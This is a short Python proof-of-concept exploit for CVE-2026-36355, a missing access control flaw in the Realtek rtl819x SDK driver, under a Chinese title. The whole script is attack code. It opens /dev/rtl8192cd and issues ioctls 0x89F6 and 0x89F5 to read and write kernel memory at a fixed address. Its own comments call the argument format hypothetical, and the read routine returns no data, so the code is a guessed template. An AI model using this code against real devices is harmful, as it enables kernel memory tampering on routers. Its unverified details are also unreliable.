CVE-2026-36355: Realtek rtl819x SDK访问控制漏洞

import fcntl import struct import os # Constants based on vulnerability description IOCTL_READ_MEM = 0x89F6 IOCTL_WRITE_MEM = 0x89F5 DEVICE_PATH = "/dev/rtl8192cd" # Path may vary depending on device def exploit_read(addr): """ PoC to read kernel memory using vulnerable IOCTL. """ try: # Open the device driver fd = os.open(DEVICE_PATH, os.O_RDWR) # Prepare data buffer (structure depends on specific driver implementation) # Assuming the driver takes an address and returns data # This is a generic PoC structure buf = bytearray(0x100) # Read 256 bytes # Send IOCTL command 0x89F6 (read_mem) # Note: Argument packing is hypothetical as exact struct wasn't provided fcntl.ioctl(fd, IOCTL_READ_MEM, struct.pack('I', addr)) print(f"[*] Attempting to read memory at: 0x{addr:x}") # In a real exploit, data would be parsed from the returned buffer os.close(fd) except Exception as e: print(f"[!] Exploit failed: {e}") def exploit_write(addr, data): """ PoC to write to kernel memory using vulnerable IOCTL. """ try: fd = os.open(DEVICE_PATH, os.O_RDWR) print(f"[*] Attempting to write to memory at: 0x{addr:x}") # Send IOCTL command 0x89F5 (write_mem) fcntl.ioctl(fd, IOCTL_WRITE_MEM, data) os.close(fd) except Exception as e: print(f"[!] Exploit failed: {e}") if __name__ == "__main__": print("[+] CVE-2026-36355 PoC: Realtek rtl819x Driver Missing Access Control") # Example target address (kernel text or data section) target_addr = 0xc0000000 exploit_read(target_addr)